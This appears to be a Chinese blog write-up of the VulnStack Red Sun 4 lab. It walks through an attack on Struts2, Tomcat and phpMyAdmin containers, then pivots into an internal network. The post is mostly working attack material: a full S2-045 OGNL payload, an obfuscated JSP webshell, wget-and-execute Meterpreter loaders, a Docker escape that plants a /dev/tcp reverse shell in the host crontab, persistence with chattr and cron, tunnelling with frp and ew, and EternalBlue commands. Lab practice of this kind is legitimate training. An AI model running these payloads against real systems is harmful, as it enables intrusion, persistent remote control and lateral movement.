红日4攻略失败

红日4靶场复现

一、环境搭建

1.网络配置略过,注意将wireshark置于仅主机网段方便抓包

2.配置docker环境,搭建s2、tomcat、phpmyadmin   #如图一
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

image-20240607152023921

二、信息收集

nmap扫描网段:nmap -sV -sS 192.168.0.0/24   #如图一
对目标网站详细端口扫描:nmap -sC -sV -A -O -Pn 192.168.0.104 -p 22,2001,2002,2003
扫描结果显示
22:ssh   版本OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 
2001:struts2
2002:tomcat   版本8.5.19
2003:mysql |phpmyadmin   版本mysql | phpMyAdmin 4.8.1

图一如下

image-20240607152917806

image-20240607154023376

image-20240607154043942

三、漏洞检测

1.对tomcat 8.5.19版本漏洞查找并验证

1.kali中查找漏洞脚本:searchsploit tomcat    #如图一
2.将poc脚本复制到当前路径:searchsploit -m /jsp/webapps/42966.py  #如图二
3.使用该脚本验证是否存在该漏洞:python 42966.py -u http://192.168.0.104:2002/   #证明存在该漏洞,如图三

图一如下

image-20240607154825717

图二如下

image-20240607155219285

图三如下

image-20240607155622265

2.对s2漏洞查找并利用,检测结果如图

存在s2-045以及s2-046漏洞

image-20240607160129757

3.对PHPmyadmin进行文件包含漏洞检测

构造poc:   ?target=sql.php?/../../../../../../../../../etc/passwd

image-20240607160700309

四、漏洞利用

1.s2漏洞 手工getshell

1.1submit抓包

image-20240607170110913

1.2构造payload

 "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"

将payload插入到filename中

image-20240607171824355

进行00截断

image-20240607171733544

image-20240607171942956

成功执行whoami

image-20240607172046868

使用msf进行getshell

# 1.生成payload
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

生成的payload为:
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG; chmod +x nOjEi2QZ; ./nOjEi2QZ& disown
#将;替换成&&
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG&& chmod +x nOjEi2QZ&& ./nOjEi2QZ& disown

# 2.将上述修改完的payload进行send:

# 3.获取getshell :sessions 1

# 4.docker逃逸
## 1.检查是否在docker容器中:
#查看根目录下全部文件,如果存在.dockerenv文件,证明在docker中
ls -al /
#查看系统进程cgroup信息,存在docker字段,证明在docker中
cat /proc/1/cgroup 
## 2.查看是否为特权模式启动
cat /proc/self/status |grep Cap   #检查结果不是特权模式启动,换一个getshell

image-20240607212420831

image-20240607212216331

image-20240607212621457

image-20240607214025358

image-20240607215813954

2.tomcat 手工getshell

根据tomcat版本确定漏洞CVE-2017-12617

通过修改PUT方法,/绕过jsp上传
# 1.抓包  #如图一
修改PUT方法、jsp后添加/

木马为:
<%
    // 获取请求参数
    String H6Pv4 = request.getParameter("test");

    if (H6Pv4 != null) {
        // 自定义类加载器
        class E9OXyWMn extends ClassLoader {
            E9OXyWMn(ClassLoader parent) {
                super(parent);
            }

            // 自定义类定义方法
            public Class H6Pv4(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }

        // 字节码数组
        byte[] bytes = null;

        try {
            // 初始化的异或解密数组
            int[] aa = new int[]{
                99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84,
                117, 115, 127, 116, 117, 98
            };

            // 解密字符串
            StringBuilder ccstrBuilder = new StringBuilder();
            for (int i = 0; i < aa.length; i++) {
                aa[i] ^= 16; // 异或解密
                ccstrBuilder.append((char) aa[i]);
            }
            String ccstr = ccstrBuilder.toString();

            // 加载解密后的类
            Class APh7z = Class.forName(ccstr);

            // 调用解码方法
            String decodeMethodName = new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114});
            bytes = (byte[]) APh7z.getMethod(decodeMethodName, String.class).invoke(APh7z.newInstance(), H6Pv4);

        } catch (Exception e) {
            // 如果解密失败,尝试使用 Base64 解码
            bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H6Pv4);
        }

        // 使用自定义类加载器加载字节码
        Class aClass = new E9OXyWMn(Thread.currentThread().getContextClassLoader()).H6Pv4(bytes);

        // 创建类的实例并调用 equals 方法
        Object o = aClass.newInstance();
        o.equals(pageContext);
    }
%> 

# 3.蚁剑连接成功如图二


# 4.通过命令判断该环境为docker容器
#查看根目录下全部文件,如果存在.dockerenv文件,证明在docker中
ls -al /
#查看系统进程cgroup信息,存在docker字段,证明在docker中
cat /proc/1/cgroup 

# 5.查看是否为特权模式启动
cat /proc/self/status |grep Cap   #检查结果是特权模式启动  如图三

图一如下

image-20240607231401223

图二如下

image-20240607231032294

image-20240607232126663

五、docker逃逸

1.docker逃逸,并使用nc监听

 利用方法:privileged特权模式启动容器逃逸
 
 具体步骤:
 #查看磁盘分区情况
	fdisk -l
#新建目录
  mkdir test
#挂载宿主机磁盘到新建目录中        #如下图一
	mount /dev/sda1 /test
#在kali上开启监听
	nc -lvp 4321
#切换到新建目录
	cd /test
#新建.sh文件
	touch /test/test.sh
#写入反弹shell命令到sh文件中
	echo "bash -i >& /dev/tcp/192.168.0.108/4321 0>&1" >/test/test.sh
#把sh文件写入计划任务
	echo "* * * * * root bash /test.sh" >> /test/etc/crontab

图一如下

image-20240607234251078

image-20240607234202876

2.msf反弹

# 生成elf木马  如图一
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.108 lport=4455 -f elf > /root/test.elf

# 启动监听模块   如图二
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 4455
run 

# 启动一个http服务   如图三
python3 -m http.server

# 通过nc下载攻击机elf木马   如图四
wget http://192.168.0.108:8000/test.elf

# 检查上传成功后,添加权限并执行  如图五
chmod +x test.elf
./test.elf &

# 此时查看msf监听端口,发现已成功反弹  如图六

图一如下

image-20240608000303003

图二如下

image-20240608001833790

图三如下

image-20240608002902692

图四如下

image-20240608003048189

图五如下

image-20240608003225197

图六如下

image-20240608003554690

3.权限维持

# 添加不可删除更改的权限
chattr +i test.elf

# 创建计划任务
echo '*/1 * * * * root /root/test.elf' >> /etc/crontab

# crontab -l    #查看正在执行的计划任务

image-20240608005512269

六、横向移动-frp隧道搭建

通过查看ifconfig发现除docker外其他网卡

image-20240610155904963

六、横向移动

1.fscan内网扫描

# 上传fscan
upload /home/kali/muma/fscan

shell

加权执行
chmod +x fscan

./fscan -h 192.168.183.135/24

image-20240610160513592

由于扫描发现开放445端口并可能存在永恒之蓝漏洞,则使用msf扫描模块具体扫描一下

2.frp隧道搭建

frp服务端配置如下图

image-20240608191549855

frp客户端配置如下图

将客户端配置ip为攻击机IP

image-20240608191532159

启动frp

kali服务端启动   
chmod +x frps 
./frps -c frps.toml     #如图一

meterpreter 上传客户端并在后台执行
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc.toml
chmod +x frpc
nohup ./frpc -c frpc.toml >/dev/null 2>&1 &

图一如下

image-20240608195526866

image-20240608202218048

image-20240608202246871

开启socks5代理

proxychains msfconsole      
修改proxychains4.conf配置文件,设置socket代理IP及端口   #注意端口需要与frpc配置的remoteport相同   #如图一
setg proxies socks5:192.168.0.108:6000
# 已知fscan扫描发现ms17-010漏洞,现利用如下
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129-130
set rport 445                  # 如图二三
run
session       

图一如下

image-20240608203019668

图二如下

image-20240608204153699

image-20240608204245650

失败,换一个隧道搭建,使用ew

3.ew隧道搭建

添加路由创建代理:
route add 192.168.183.0/24 
run autoroute -p     #如图一

#ew创建代理
kali: ./ew_linux_x64 -s rcsocks -l 1080 -e 1234   #如图二
目标主机:
upload /home/kali/muma/ew/ew_linux_x64 
chmod +x ew_linux_x64 
./ew_for_linux64 -s rssocks -d 192.168.0.108 -e 3234   ##(或者nohup ./ew_for_linux64 -s ssocksd -l 1080 &)    #如图三

图一如下

image-20240610183307406

图二如下

image-20240610183812670

图三按理说应该如下,但是nc不小心让我关了

image-20240610184033617

4.使用MS17-010模块进行攻击

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.137
set rport 445
run

总是死!!!!!我服了,先上传,我找找原因

image-20240610193422239

参考文献:实战|记一次逃逸Docker渗透测试-腾讯云开发者社区-腾讯云 (tencent.com)

VulnStack|红日靶场——红队评估四 - 哔哩哔哩 (bilibili.com)

ATT&CK红队评估(红日靶场四) - FreeBuf网络安全行业门户 #主看docker meterpreter shell

红日靶场4 - hello_bao - 博客园 (cnblogs.com)

内网穿透工具EW的简单使用(附内网环境实现)_ew网穿-CSDN博客 #主看ew使用方法

posted @ 2024-06-11 09:28  麦克斯韦方  阅读(26)  评论(0编辑  收藏  举报